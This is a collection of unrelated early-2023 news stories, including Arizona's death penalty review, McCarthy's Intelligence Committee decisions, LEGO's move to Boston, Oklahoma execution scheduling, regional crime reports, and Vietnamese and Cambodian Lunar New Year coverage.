The collision remains under investigation. Anyone who may have witnessed the crash is asked to contact Tfc. David Hawley at Troop L in Litchfield at 860-626-7900.
Pima Countys top prosecutor says a planned study of how the death penalty is used in Arizona doesnt go far enough.

I applaud them for looking at how its actually carried out, said Pima County Attorney Laura Conover, referring to the decision by new Democratic Gov. Katie Hobbs to review the processes and procedures used by the Department of Corrections, Rehabilitation and Reentry to execute death row inmates. That includes what Hobbs said have been botched executions, including situations when prison employees had repeated problems in placing the intravenous line carrying the chemicals into the veins of condemned inmates.

In the interim, new Democratic Attorney General Kris Mayes, the only person in the state with the power to seek warrants to execute, said she will not do so until the study is completed.

But Conover told Capitol Media Services the study should be broader.

The flaws in the death penalty are at the get-go, said Pima Countys elected Democratic prosecutor. The heart of that is how decisions are made about which cases prosecutors seek the death penalty for and whether there are biases in both that decision and the ability of all defendants to get equal treatment, including by the juries who make the ultimate decision of life or death, Conover said.

Maricopa prosecutor sees no bias

But Rachel Mitchell, Conovers Maricopa County counterpart, a Republican, said Tuesday she has not seen any such bias.

Even defendants who cannot afford private counsel are assigned extremely experienced attorneys and have the opportunity to have court-provided private investigators, Mitchell said. She also doesnt believe race plays a factor at any stage, including the decision by jurors  who get the last word under Arizona law  whether to sentence someone to death or life behind bars.

Figures from Arizona prison officials show that 17 of the 110 inmates on death row, or about 15%, are Black. Blacks comprise less than 5% of the states population.

The data for those classified by the state as Mexican-American is a bit different, encompassing 22 condemned inmates, or 20% of the total.

However, that category, as used by the agency, encompasses only those born in the United States. By contrast, the Census Bureau, which puts the Hispanic population of Arizona at close to 31%, includes all in Arizona regardless of where they were born, a category that includes not just those of Mexican descent but also Puerto Ricans, Cubans and others.

In terms of racial composition of death row, what you have to look at, as I do, is each individual case, Mitchell said.

Im looking at facts of those, she said, including what state law calls aggravating and mitigating factors that prosecutors and jurors can consider in determining whether the death penalty is appropriate versus seeking a sentence of life in prison. All that, Mitchell said, is to make sure that case warrants the ultimate punishment.

Conover, however, said its not that clear cut.

The data is clear across the country historically that both race and class play an absolutely unacceptable role in how its been applied, just leading to terrible outcomes, Conover said.

In other words, the concept of the death penalty being reserved for the worst of the worst has not borne fruit, she said. The data shows that the race of the accused, the race of the victim, and then socio-economic class all play a role.

Disparities among counties?

Mayes also said the state needs to study more than what happens between the time someone is sentenced to death and the time the execution is carried out, the stated purpose of the appointment by Hobbs of a Death Penalty Independent Review commissioner. The issue goes beyond race, the attorney general told Capitol Media Services.

In particular, Im interested in knowing whether there are disparities between counties in Arizona in terms of who receives the death penalty, Mayes said.

It is beginning to look like the death penalty is only being sought in Maricopa County because Maricopa County can afford it, she said, referring to the huge cost of prosecutors and defense counsel devoting years  and sometimes decades  of their time to just a handful of cases. We need to understand that better before we go forward.

The statistics show that about 60% of Arizonans live in Maricopa County, the states most populous, versus close to 73% of death row inmates being sentenced from courts there.

About 14% of the state lives in Pima County. That closely tracks the percentage of its death row inmates.

But that is changing, with Conover, upon taking office in 2021, deciding not to seek the death penalty in any cases.

The balance of the 110 death row inmates includes six from Mohave County, three from Yuma County, two from Yavapai and one each from Coconino, La Paz and Pinal counties.

Hobbs, in issuing her executive order Friday to study the processes used to carry out executions, said she is open to looking at related issues such as whether the death penalty is imposed fairly.

Thats certainly a conversation worth having, said Hobbs, who took office this month. The governor said she certainly would be willing to entertain further action on the broader issue of the whole process.

Victims perspectives differ

Mitchell, for her part, appears less than enthusiastic about even the narrower review promoted by Hobbs and Mayes, as it potentially delays the execution of 21 inmates who already exhausted their appeals.

Families of those murdered by those sentenced to death walk a long and painful path, she said. For most, this is a journey that is decades long.

Mitchell sidestepped the question of whether she supports or opposes the study of the execution process, and the delay in the meantime in carrying them out. I am doing neither, she said.

What Mitchell said she does support is an expeditious study so that executions can resume and victims can have the justice she said they are promised in a 1990 voter-approved Victims Bill of Rights amendment to the Arizona Constitution, including a prompt and final conclusion of the case after the conviction and sentence.

It is my hope that as a state we will not abandon our promise of justice, because justice delayed is justice denied, Mitchell said.

Conover, however, said she sees the issue of the time involved in capital cases from a different perspective  and one she and her prosecutors try to explain to survivors when informing them she will not be seeking the death penalty, she said.

You have to tell them that their grief is raw and their needs are urgent, she said. But a homicide prosecution could take a year or two or three.

And with appeals and post-conviction legal proceedings in death penalty cases, she warns them you may not see this case to resolution in your lifetime.

And, frankly, it wasnt uncommon for families to not want that and to say, I dont want to go that route,  Conover said, but rather to seek a more immediate and final action with a sentence of life behind bars without the possibility of parole.

She acknowledged theres also a fiscal element to her decision to not seek the death penalty.

Youre going to take your best and brightest and youre going to write this blank check of taxpayer money and ask them to just pursue one particular case, ostensibly forever, for the rest of their career, Conover said, given the decades a death penalty case takes.

One Arizona inmate  Ronald T. Williams, convicted of a 1981 murder during a robbery in Scottsdale  has been on death row since 1984. Two others have convictions that date back to 1989.

Hobbs has yet to name the commissioner for the study and has set no deadline for the report.
WASHINGTON  Speaker Kevin McCarthy reiterated Tuesday that he will block Democratic Reps. Adam Schiff and Eric Swalwell of California from serving on the House committee that oversees national intelligence, saying the decision was not based on political payback but because "integrity matters, and they have failed in that place."

In the previous Congress, Democrats booted Reps. Marjorie Taylor Greene of Georgia and Paul Gosar of Arizona from their committee assignments for incendiary commentary that they said incited potential violence against colleagues.

Minority Leader Hakeem Jeffries, in a letter sent to McCarthy over the weekend, asked that Schiff and Swalwell be reappointed to the House Permanent Select Committee on Intelligence, a prestigious panel with access to sensitive, classified information. There is no "precedent or justification" for rejecting them, Jeffries said.

Unlike most committees, appointments to the Intelligence panel are the prerogative of the speaker, with input from the minority leader.

McCarthy insisted that this is not similar to what the Democrats did. Those members will have other committees, but the Intel Committee is different. The Intel Committee's responsibility is the national security to America."

Hakeem Jeffries has 200 other people who can serve on that committee, he added.

He sent his formal response to Jeffries in a letter he posted Tuesday night on Twitter.

McCarthy was critical of Schiff's actions as chairman of the panel during the first impeachment investigation of President Donald Trump, asserting he used his position to "lie to the American public again and again." He also asserted Swalwell couldn't get a security clearance in the private sector, so "we're not going to provide him with the secrets to America."

McCarthy tried to have Swalwell removed from the Intelligence panel in March 2021 based on his contact with a suspected Chinese spy. His resolution against Swalwell, which was voted down in the Democratic-led House, cited information that the suspected spy, Christine Fang, came into contact with Swalwell's campaign as he was first running for Congress in 2012 and participated in fundraising for his 2014 campaign.

Federal investigators alerted Swalwell to their concerns and briefed Congress about Fang in 2015, at which point Swalwell says he cut off contact with her.

Schiff told colleagues in 2021 that Republican leaders in 2015, including then-House Speaker John Boehner and the then-chairman of the intelligence panel, Republican Rep. Devin Nunes, were briefed on the situation with Swalwell and "expressed no opposition to his continued service" on the Intelligence committee.

McCarthy insisted he was putting national security over partisan politics.

"We're going to make the Intel Committee back to what it was supposed to be. No longer will we miss what happened in Afghanistan. No longer will we miss what's happening in China, Russia, Iran and others. That's what this country believes should happen," McCarthy said.

McCarthy has also vowed to remove Rep. Ilhan Omar, D-Minn., from the Foreign Affairs Committee. In a joint statement the three Democrats being targeted for removal from committees said, "it's disappointing but not surprising that Kevin McCarthy has capitulated to the right wing of his caucus, undermining the integrity of the Congress, and harming our national security in the process."

They called their removal part of a bargain McCarthy made with GOP hardliners to become speaker "that required political vengeance against the three of us."
LEGO Group, the maker of the iconic interlocking toy building bricks, will move its U.S. headquarters in Enfield to Boston by the end of 2026  ending a tie to Connecticut that stretches back nearly a half century.

LEGOs relocation to Boston will unfold in phases beginning in mid-2025, with all 740 employees given the chance to move or work out a possible hybrid or remote schedule with the company. Layoffs werent mentioned in Tuesdays announcement.

Six months ago, when LEGO announced plans to build a $1 billion carbon neutral manufacturing plant in Virginia, concerns were stoked about LEGOs future in Connecticut.

The LEGO headquarters in Enfield shown in a file photo.

LEGO had long shed its major manufacturing and distribution operations in Enfield  closing them in the mid-2000s  shifting to a corporate headquarters responsible for much of North and South America.

Last year, Gov. Ned Lamont told several media outlets that LEGO had communicated to him that the company remained committed to Connecticut.

I am disappointed to hear todays news, but I am confident in Connecticuts ability to attract and retain companies that value our competitive advantages in education, workforce, and quality of life, Lamont said in a statement. We are seeing these advantages resonate more and more in industries such as advanced manufacturing, life sciences, and fintech.

Lamont, who spoke with Skip Kodak, president of the LEGO Group in the Americas, Tuesday morning before the announcement, said the move is motivated not by any Connecticut policy but rather LEGOs desire to consolidate their business operations near the companys education office and to enhance their partnership with MIT.

The LEGO Kids Fest at the Connecticut Convention Center in Hartford.

When asked at a press conference Tuesday if the state had the opportunity to offer incentives to get LEGO to stay, Lamont said, No. It didnt come up.

Kodak said Tuesday that no decision about Enfield had been made at the time of the Virginia plant announcement.

Kodak said Connecticuts deep roots in manufacturing brought LEGO to the state in 1975, first in Brookfield and later, in a major way in Enfield. With manufacturing and distribution gone for more than a decade in Enfield, LEGO tried to position itself as attractively between Boston and New York as it sought to recruit new employees, Kodak said.

But Boston increasingly emerged as a top choice because it was an urban setting attractive to the younger spectrum of the workforce and was where universities work closely with industry and are deeply embedded in the city, Kodak said.

The Lego Movie franchise began in 2014 with the release of The Lego Movie. Two sequels followed: The Lego Batman Movie and The Lego Ninjago Movie, both released in 2017. The sequel to the original film, The Lego Movie 2: The Second Part, came out in 2019. The franchise has grossed $1 billion at the worldwide box office.

As we continue to to find our pathway in the post-Covid workforce world that we live in, it is very clear to us that our location needs to be highly attractive and ideally located where the largest possible base of talent that would be appropriate for our business is, Kodak said.

The 740 jobs in Enfield range from corporate finance, legal, marketing and retail strategy to customer service and the well-known lab that often create life-size figures out of Lego bricks. The U.S. headquarters is part of a global franchise that has spawned a myriad of theme sets, videos, movies and televisions LEGO Masters.

Tuesdays announcement comes on the heels of last weeks announcement that food giant Campbell would move out of Norwalk, consolidating those operations in Camden, N.J.

David Cadden, professor emeritus of entrepreneurship and strategy at Quinnipiac University, said LEGO is seeking changes that were similar to what General Electric got for relocating from Fairfield six years ago.

Host Will Arnett on LEGO Masters on Fox.

Until there is a long-term structured plan in terms of making Connecticut more attractive and making its urban environments more vital and accessible, I think we might expect to see some more of this, Cadden said.

While cities like Hartford, New Haven and Bridgeport have made strides in recent years, Cadden said it will be difficult to compete with the cool factor of a Boston that is a prime component of attracting young professionals.

A flurry of statements from Connecticuts Congressional delegation  including Sens. Chris Murphy and Richard Blumenthal and Rep. Joe Courtney  all expressed disappointment that LEGO was relocating.

But the federal lawmakers struck a more upbeat tone about Connecticuts attractiveness for businesses.

Yes, this announcement is a disappointment, Murphy said, but Connecticuts economy is doing well, and more and more workers and companies are coming back to our state because of our great quality of life, highly trained workforce, and good business climate.

The Brick-Changer by The Lego Group is seen during the 96th Macys Thanksgiving Day Parade in 2022 in New York City.

During the transition to Boston, LEGO employees will work at two locations  the existing office in Enfield and the companys education office in Bostons Back Bay. A search for a permanent location will now get underway, Kodak said.

Were grateful for our fantastic team and the support weve received in Connecticut over the past 50 years, Kodak said. This has allowed us to build a successful business and inspire millions of children. We wanted to give our people plenty of time to plan their futures, so we will implement a gradual transition over the next few years.

Kodak said LEGO will continue its philanthropic endeavors in Connecticut and western Massachusetts, despite the relocation. LEGO declined to disclose specific levels of giving but a LEGO spokesman said employees dedicate thousands of hours of volunteer time each year.

Courant Staff Writer Christopher Keating contributed to this story. Kenneth R. Gosselin can be reached at kgosselin@courant.com.
Actress Lily Gladstone of the upcoming shot-in-Oklahoma film Killers of the Flower Moon indicated in an interview with Variety that the Osage Nation impacted what Martin Scorsese had planned for the film.

Gladstone took part in the interview because she is in Fancy Dance, an Erica Tremblay film being shown at Sundance Film Festival. Filmed on land in the Cherokee Nation, Fancy Dance was the first recipient that is a part of the Cherokee Nation Film Incentive that began in early 2022.

She was asked about Killers of the Flower Moon and said Osage chief Geoffrey Standing Bear was a consultant on the film, which is about the serial murders of the Osage in the 1920s.

The work is better when you let the world inform the work, Gladstone told Variety. That was very refreshing how involved the production got with the (Osage) community. As the community warmed up to our presence, the more the community got involved with the film. Its a different movie than the one he walked in to make almost entirely because of what the community had to say about how it was being made and what was being portrayed.

Expected later this year, Killers of the Flower Moon is based on David Granns book of the same name.

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The Oklahoma Court of Criminal Appeals agreed Tuesday to Attorney General Gentner Drummonds request to extend from 30 to 60 days the time between upcoming executions at the state penitentiary in McAlester.

Drummond asked the court last week to reset seven scheduled execution dates, saying one a month put too much burden on Department of Corrections employees and was unsustainable.

I am grateful for the Courts ruling, Drummond said Tuesday in a written statement. This decision will help maintain confidence in our protocol in this solemn and important process. The dedicated individuals of the Department of Corrections will continue their rigorous training and preparations for upcoming executions.

As I have stated before, this was not a request I took lightly, Drummond said. Victims families have waited many years to see that justice is done, and I am thankful for their understanding.

Oklahoma leads the nation in executions per capita since 1976 despite having suspended them from 2016 to 2021 after one lethal injection went awry and another was found to have been carried out with a wrong drug.

Under the new timetable, Oklahoma will carry out one execution about every two months through June 2024.

The new execution dates are: Richard Glossip, May 18; Jermaine Monteil Cannon, July 20; Anthony Castillo Sanchez, Sept. 21; Phillip Dean Hancock, Nov. 30; James Chandler Ryder, Feb. 1, 2024; Michael DeWayne Smith, April 4, 2024; and Wade Greely Lay, June 6, 2024.

The order granting Drummonds request was signed by all five appellate judges, with individual justices recusing themselves from cases in which they were involved.

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With 10 candidates from whom to choose, Tulsa Public Schools Board of Education is now on the clock to appoint a District 2 representative.

The candidate list originally released by TPS Monday afternoon includes Weslie Alexander, Orion Banos Moguel, Quinton Brown, Dustin DeVore, Jacqueline Evans, Daniel Grove, Paul Hall, Diamond Marshall, Sharita Pratt, Jasmine Stewart and KanDee Washington.

However, Alexander withdrew his candidacy after the initial list was released Monday afternoon, a district representative said.

A spokeswoman for TPS confirmed Monday afternoon that an additional 10 candidates who submitted applications for the seat either withdrew before the lists publication or were deemed ineligible because they did not meet at least one of the criteria listed on the application.

As of press time, the board has scheduled special meetings for Wednesday and Thursday to interview the eligible candidates.

At Monday nights meeting, President Stacey Woolley said the vacant District 2 seat will come back before the board as an action agenda item at its Feb. 13 meeting.

Among the 10 candidates, six identified themselves either at Monday nights meeting or on their application as TPS graduates, and two said they have children either currently attending school in the district or already graduated from TPS.

Banos Moguel is a self-employed naturalized citizen originally from Mexico.

A U.S. Marine Corps veteran, Brown serves on McLain High Schools foundation and is a member of the schools Parent Teacher Student Association.

DeVore is a former teacher who has worked at both the secondary and collegiate levels.

Evans, a graduate of McLain High School and Langston University, operates a child care facility that partners with Tulsa Educare.

Grove, a graduate of Tulsa Community College, ran unsuccessfully for the Tulsa City Council District 3 seat in 2022.

Hall is self-employed and a graduate of both Memorial High School and the University of Phoenix.

Marshall, a former Teach for America corps member, currently works as a community organizer.

Pratt, a 2011 graduate of Nathan Hale High School, is a member of the districts Early Childhood Parent Council and is a master teacher at CAP Tulsa.

Stewart, a graduate of Booker T. Washington High School, is a former social worker. She currently owns and operates a day care.

Washington is also a graduate of Booker T. Washington. She has had five children attend TPS and was one of nine applicants for the District 2 seat in August 2018, when former board member Amy Shelton resigned.

Citing her familys upcoming move out of state, District 2 representative Judith Barba Perez formally tendered her resignation at the boards Jan. 9 meeting, effective at the conclusion of Monday nights meeting.

Under state law, the board has up to 60 days to appoint Barba Perezs successor until the 2024 election cycle or, failing that, to call for a special election to fill the remaining two years on her term.

Barba Perez was absent Monday night.

With the board utilizing boundaries approved in December, TPS campuses within District 2 include Emerson, Kendall-Whittier, McKinley, Mitchell, Owen and Sequoyah elementary schools; Unity Learning Academy; Carver Middle School; Booker T. Washington High School; and Will Rogers College Middle and High School.
A new 18-bed progressive care and intensive care unit that officially opened Monday at Ascension St. John Broken Arrow is expected to serve around 1,500 patients a year, officials said.

Hospital officials and community leaders gathered Monday for a grand opening and ribbon-cutting for the new unit, which occupies the sixth floor of the hospital at 1000 W. Boise Circle.

The $8 million investment includes four ICU beds and 14 progressive care beds, while adding nearly 40 new jobs, officials said.

Today is obviously an exciting day for this hospital, said Matthew Adams, Ascension St. John Broken Arrow president. We knew there was a lack of intensive care beds in eastern Oklahoma. The COVID-19 pandemic unfortunately only drove that point home further.

Many hours of designing, discussing, planning, building and hiring have led us to this point today, he said.

Jennifer Conway, Broken Arrow Chamber of Commerce president, said: Were so thankful for St. Johns investment in this. This means so much to us on many levels.

When businesses look to relocate to our community or expand, one of the top priorities is quality healthcare, Conway added. And whenever we make one more investment in that, were that much stronger as a community, expanding access and responsiveness for our residents, and ensuring that when they have to care for a loved one, they dont have to drive very far. They can stay close to home.

St. John officials said the expansion complements the bed expansion at Ascension St. John Owasso and the future Ascension St. John Rehabilitation Hospital of Owasso, a 40-bed facility that is expected to open in March.

We are really excited to offer an extension of the services that we offer many across our ministry  the ability to open up additional beds that offer higher acuity to patients and their families that live here in our community, said Ascension St. John CEO Jeff Nowlin.

Adams added: The city of Broken Arrow continues to be a growing, vibrant community, and as Broken Arrows only acute care hospital, it is our responsibility to grow alongside it.

What was shocking to local officials from 2022 homelessness survey
Seven people were killed in two related shootings Monday at a mushroom farm and a trucking firm in a coastal community south of San Francisco, and a suspect was in custody, officials said.

San Mateo County Board of Supervisors President Dave Pine says four people were killed at the farm and three at the trucking business on the outskirts of Half Moon Bay, a city about 30 miles (48 kilometers) south of San Francisco.

The police have arrested 67-year-old Zhao Chunli in connection with the shooting, Pine said.

It wasn't immediately clear how the locations were connected, though Pine said the suspect worked for one of the businesses. He called the suspect a "disgruntled worker."

California state Sen. Josh Becker, who represents the area, said people were killed in separate shootings. San Mateo County Supervisor David Canepa tweeted that one shooting happened at a mushroom farm.

Latest updates:

The shootings happened as investigators searching for a motive in the worst mass shooting in Los Angeles County history say a search of the gunmans home discovered a rifle, hundreds of rounds of ammunition and evidence he was manufacturing gun silencers.

Los Angeles Sheriff Robert Luna said Monday that investigators have not yet established Huu Can Trans motive in the massacre, which happened during a celebration of Lunar New Year at a Monterey Park dance hall.

Latest updates:

Interactive: Find out more about mass killings in the U.S. Interactive: Number of mass killings by year Interactive: Mass killings by location scaled by number of victims Interactive: Search mass killing incidents Interactive: Timeline of mass killings scaled by number of victims killed Interactive: Number of mass killings and victims killed this year compared with previous years Interactive map: People killed by shootings, per 100,000 residents

22 of America's deadliest mass shootings in the past 10 years July 20, 2012: Aurora, Colorado Dec. 14, 2012: Newtown, Connecticut Sept. 16, 2013: Washington, D.C. June 17, 2015: Charleston, South Carolina Oct. 1, 2015: Roseburg, Oregon Dec. 2, 2015: San Bernardino, California June 12, 2016: Orlando, Florida Oct. 1, 2017: Las Vegas, Nevada Nov. 5, 2017: Sutherland Springs, Texas Feb. 14, 2018: Parkland, Florida May 18, 2018: Santa Fe, Texas Oct. 27, 2018: Pittsburgh, Pennsylvania Nov. 7, 2018: Thousand Oaks, California May 31, 2019: Virginia Beach, Virginia Aug. 3, 2019: El Paso, Texas Aug. 4, 2019: Dayton, Ohio Aug. 31, 2019: Midland, Texas March 16, 2021: Atlanta March 22, 2021: Boulder, Colorado April 15, 2021: Indianapolis
The victims of a Washington County double homicide that occurred in December have been identified after a 20-year-old man was charged with their killings.

Investigators believe the bodies of Deborah Dutton, 67, and Larry Dutton, 73, were buried behind their home northeast of Dewey last month, according to an FBI affidavit filed in Tulsa federal court and public records that provided their ages. Deputies from the Washington County Sheriffs Office had responded Friday to reports of the couples suspicious disappearance.

The deputies arrived at the Duttons residence in the 397000 block of West 1300 Road around 1 p.m. and found Lucas Anthony Walker and his 17-year-old girlfriend there, the affidavit says.

The girlfriend, who is alleged to be Walkers accomplice, reportedly was known to the victims, the affidavit adds.

After detaining the two, deputies searched the house and found blood that someone apparently had attempted to clean up but which had run under the baseboards, the legal document reads.

When questioned by detectives, Walker told investigators about his involvement in the killing of the couple and his attempts to hide the evidence on Dec. 19 or 20, the document says.

Walker reportedly said he entered the Duttons home while they were sleeping and took a .22-caliber pistol from a gun safe in the garage.

After waiting outside their bedroom, he shot Deborah Dutton in the head when she opened the door, the affidavit alleges. He then reportedly tried to shoot Larry Dutton, but the pistol jammed, resulting in an altercation that ended with Walker stabbing the older man multiple times, the affidavit states.

Both Walker and his girlfriend confessed to dragging both victims out of the house on sheets and burying them in the backyard, the affidavit continues.

Deputies found surveillance video from the homes security system that shows Walker and his girlfriend dragging a body on a sheet across the back deck, according to the affidavit.

In collaboration with the Oklahoma State Bureau of Investigation, an area of the backyard will be searched for the Duttons remains, the document states.

Federal prosecutors have charged Walker with first-degree murder and discharging a firearm during and in relation to a crime of violence, the U.S. Attorneys Office for the Northern District of Oklahoma said in a press release Monday.

Walker is a member of the Cherokee Nation and will be prosecuted under the jurisdiction of the federal government based on the 2020 Supreme Court ruling in McGirt v. Oklahoma, the legal document continues.

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A flight from China with 214 passengers on board arrived in Khanh Hoa Province on Tuesday morning, making it the first to bring Chinese visitors to Vietnam after a three-year hiatus due to the COVID-19 pandemic. The visitors arrived on flight VJ5317 operated by Vietnamese budget carrier Vietjet, which departed from Chengdu International Airport in China and landed at Cam Ranh International Airport in Khanh Hoa at 6:00 am. Tourism authorities in Khanh Hoa gave flowers and red envelopes following the arrival of the tourists from China. Cung Quynh Anh, deputy director of the Khanh Hoa Department of Tourism, stated that the occasion represented a significant turning point when the first flight from China landed in Khanh Hoa Province, Vietnam after three years. Khanh Hoa is the first locality to take a pilot initiative to attract international tourists following the COVID-19 pandemic, Anh said. Khanh Hoa tourism is always prepared to receive a significant number of foreign visitors in 2023, including Chinese tourists. During the Lunar New Year holiday, the tourism sector in Khanh Hoa has also prepared several cultural activities and attractions to welcome Chinese tourists. According to Anh, between January 22 and March 23, Vietjet will organize approximately 35 flights to bring Chinese passengers from the provinces of Anhui, Hunan, and Sichuan to Nha Trang City with a frequency of four to five services per week, with each trip carrying between 180 and 220 Chinese tourists. La Tu Lam, a Chinese visitor, said that this was her first trip to Nha Trang, and she believed the atmosphere was terrific. I intend to explore the city and try Vietnamese food, particularly Tet specialties, Lam said. I'll also take a lot of photos and share them on social media with my friends and family. Khanh Hoa's tourism industry aims to receive around four million tourists in 2023, including approximately 2.5 million domestic visitors and 1.5 million overseas visitors, with an estimated revenue of VND21 trillion (US$895.5 million). A Vietjet Air plane lands at Cam Ranh International Airport in Khanh Hoa Province, Vietnam on January 24, 2023. Photo: Thuc Nghi / Tuoi Tre Chinese tourists arrive at Cam Ranh International Airport in Khanh Hoa Province, Vietnam on January 24, 2023. Photo: Thuc Nghi / Tuoi Tre Tourism authorities and Chinese tourists pose for a photo at Cam Ranh International Airport in Khanh Hoa Province, Vietnam following their arrival on January 24, 2023. Photo: Thuc Nghi / Tuoi Tre A Chinese tourist poses for a photo at Cam Ranh International Airport in Khanh Hoa Province, Vietnam on January 24, 2023. Photo: Thuc Nghi / Tuoi Tre Like us on Facebook or follow us on Twitter to get the latest news about Vietnam!

A flight from China with 214 passengers on board arrived in Khanh Hoa Province on Tuesday morning, making it the first to bring Chinese visitors to Vietnam after a three-year hiatus due to the COVID-19 pandemic.

The visitors arrived on flight VJ5317 operated by Vietnamese budget carrier Vietjet, which departed from Chengdu International Airport in China and landed at Cam Ranh International Airport in Khanh Hoa at 6:00 am.

Tourism authorities in Khanh Hoa gave flowers and red envelopes following the arrival of the tourists from China.

Cung Quynh Anh, deputy director of the Khanh Hoa Department of Tourism, stated that the occasion represented a significant turning point when the first flight from China landed in Khanh Hoa Province, Vietnam after three years.

Khanh Hoa is the first locality to take a pilot initiative to attract international tourists following the COVID-19 pandemic, Anh said.

Khanh Hoa tourism is always prepared to receive a significant number of foreign visitors in 2023, including Chinese tourists.

During the Lunar New Year holiday, the tourism sector in Khanh Hoa has also prepared several cultural activities and attractions to welcome Chinese tourists.

According to Anh, between January 22 and March 23, Vietjet will organize approximately 35 flights to bring Chinese passengers from the provinces of Anhui, Hunan, and Sichuan to Nha Trang City with a frequency of four to five services per week, with each trip carrying between 180 and 220 Chinese tourists.

La Tu Lam, a Chinese visitor, said that this was her first trip to Nha Trang, and she believed the atmosphere was terrific.

I intend to explore the city and try Vietnamese food, particularly Tet specialties, Lam said.

I'll also take a lot of photos and share them on social media with my friends and family.

Khanh Hoa's tourism industry aims to receive around four million tourists in 2023, including approximately 2.5 million domestic visitors and 1.5 million overseas visitors, with an estimated revenue of VND21 trillion (US$895.5 million).

A Vietjet Air plane lands at Cam Ranh International Airport in Khanh Hoa Province, Vietnam on January 24, 2023. Photo: Thuc Nghi / Tuoi Tre

Chinese tourists arrive at Cam Ranh International Airport in Khanh Hoa Province, Vietnam on January 24, 2023. Photo: Thuc Nghi / Tuoi Tre

Tourism authorities and Chinese tourists pose for a photo at Cam Ranh International Airport in Khanh Hoa Province, Vietnam following their arrival on January 24, 2023. Photo: Thuc Nghi / Tuoi Tre

A Chinese tourist poses for a photo at Cam Ranh International Airport in Khanh Hoa Province, Vietnam on January 24, 2023. Photo: Thuc Nghi / Tuoi Tre

Like us on Facebook or follow us on Twitter to get the latest news about Vietnam!
Check out the news you should not miss today in Vietnam: Society -- A man and a woman from Hai Phong City, northern Vietnam allegedly committed suicide by jumping into a river on Monday, with the man dying while the woman was saved by police officers. -- An automobile suddenly burst into flames when being parked on a street in Da Lat City, located in Vietnams Central Highlands, on Monday night, causing significant property damage but no casualties. -- Eighty-two traffic accidents occurred across Vietnam from Friday to Monday, the first four days of the Tet holiday, killing over 48 people and injuring 61 others, the traffic police division under the Ministry of Public Security confirmed on Monday. Business -- Consumer Reports on Monday urged four chocolate producers to commit by Valentine's Day to reduce the amounts of lead and cadmium in their dark chocolate products, after testing revealed harmful levels of the heavy metals, Reuters reported. -- Spotify Technology SA said on Monday it plans to cut 6% of its workforce and would take a related charge of up to nearly $50 million, adding to the massive layoffs in the technology sector in preparation for a possible recession, Reuters reported. Lifestyle -- A flight from China with 214 passengers on board arrived in Khanh Hoa Province on Tuesday morning, making it the first to bring Chinese visitors to Vietnam after a three-year hiatus due to the COVID-19 pandemic. -- Many Can Tho City residents carried thousands of pots of marigold outside and placed them on the sidewalk in front of their homes to add to the joyful atmosphere in their area, creating a lovely five-kilometer flower street. World News -- An 11th victim died on Monday from injuries suffered in a weekend shooting rampage at a Los Angeles-area dance hall, as investigators searched for a motive behind one of California's bloodiest outbursts of mass gun violence, Reuters reported. -- Two students were killed on Monday and an adult was seriously wounded in a 'targeted' shooting at a nonprofit educational center for at-risk youth in Des Moines, Iowa, local police said, according to Reuters. Like us on Facebook or follow us on Twitter to get the latest news about Vietnam!

Check out the news you should not miss today in Vietnam:

Society

-- A man and a woman from Hai Phong City, northern Vietnam allegedly committed suicide by jumping into a river on Monday, with the man dying while the woman was saved by police officers.

-- An automobile suddenly burst into flames when being parked on a street in Da Lat City, located in Vietnams Central Highlands, on Monday night, causing significant property damage but no casualties.

-- Eighty-two traffic accidents occurred across Vietnam from Friday to Monday, the first four days of the Tet holiday, killing over 48 people and injuring 61 others, the traffic police division under the Ministry of Public Security confirmed on Monday.

Business

-- Consumer Reports on Monday urged four chocolate producers to commit by Valentine's Day to reduce the amounts of lead and cadmium in their dark chocolate products, after testing revealed harmful levels of the heavy metals, Reuters reported.

-- Spotify Technology SA said on Monday it plans to cut 6% of its workforce and would take a related charge of up to nearly $50 million, adding to the massive layoffs in the technology sector in preparation for a possible recession, Reuters reported.

Lifestyle

-- A flight from China with 214 passengers on board arrived in Khanh Hoa Province on Tuesday morning, making it the first to bring Chinese visitors to Vietnam after a three-year hiatus due to the COVID-19 pandemic.

-- Many Can Tho City residents carried thousands of pots of marigold outside and placed them on the sidewalk in front of their homes to add to the joyful atmosphere in their area, creating a lovely five-kilometer flower street.

World News

-- An 11th victim died on Monday from injuries suffered in a weekend shooting rampage at a Los Angeles-area dance hall, as investigators searched for a motive behind one of California's bloodiest outbursts of mass gun violence, Reuters reported.

-- Two students were killed on Monday and an adult was seriously wounded in a 'targeted' shooting at a nonprofit educational center for at-risk youth in Des Moines, Iowa, local police said, according to Reuters.

Like us on Facebook or follow us on Twitter to get the latest news about Vietnam!
Up to 80 pct of Cambodian people celebrate Chinese Lunar New Year: PM

Xinhua) 10:18, January 24, 2023

PHNOM PENH, Jan. 23 (Xinhua) -- Cambodian Prime Minister Samdech Techo Hun Sen said here on Monday that the Chinese Lunar New Year has gained great popularity in the kingdom, estimating that up to 80 percent of the population observe it.

In a speech during a graduation ceremony of nearly 6,800 students at the Cambodian University for Specialties, Hun Sen said previously, about 10 percent only of the people in his commune celebrated the festival.

"Now, around 70-80 percent celebrate it," the 70-year-old prime minister said.

Hun Sen said all of his family members, including his wife, children, children-in-law and grandchildren, celebrate the Chinese New Year.

The 2023 Chinese Lunar New Year, or the Spring Festival, fell on Sunday.

Sambo Manara, vice president of Pannasastra University of Cambodia, said historic relations have brought about closer bonds of friendship between the peoples of Cambodia and China.

"A large number of Cambodians have Chinese ancestry, and we estimate that about 80 percent of Cambodians living in urban areas and 40 percent in rural areas celebrate the Chinese New Year," he told Xinhua.

Diep Sophal, a history professor at the University of Cambodia, said the Southeast Asian nation usually observes three New Year festivals a year, namely the Universal New Year, the Chinese New Year and the Cambodian New Year.

He said days prior to the festival, Cambodian people with Chinese ancestors always clean and decorate their houses with red color paper-cuts, flowers, red lanterns and Chinese couplets.

The Chinese New Year is not a public holiday in Cambodia, but it is widely celebrated as some schools, private companies and institutions are closed by themselves on the occasion.

(Web editor: Peng Yukai, Liu Ning)
Connecticut state lawmakers are reviving a push for legislation this session that limits the number of patients overseen by nurses and other health care professionals and discourages mandatory overtime, both threatening, they say, the quality of patient care in hospitals.

Similar legislation was sought prior to the pandemic, but a national shortage of health care professionals, particularly nurses, has deepened in the aftermath of COVID-19. That has forced some out of health care and pushed others to the point of exhaustion, legislators, union leaders and health care workers, union leaders said Monday.

Before the pandemic, we were stressed in our health care system, state Sen. M. Saud Anwar, a pulmonologist and co-chair of the legislatures joint committee on public health, said. But in the aftermath of COVID-19,This is a crisis, but it is rapidly moving toward a disaster. And the disaster is preventable.

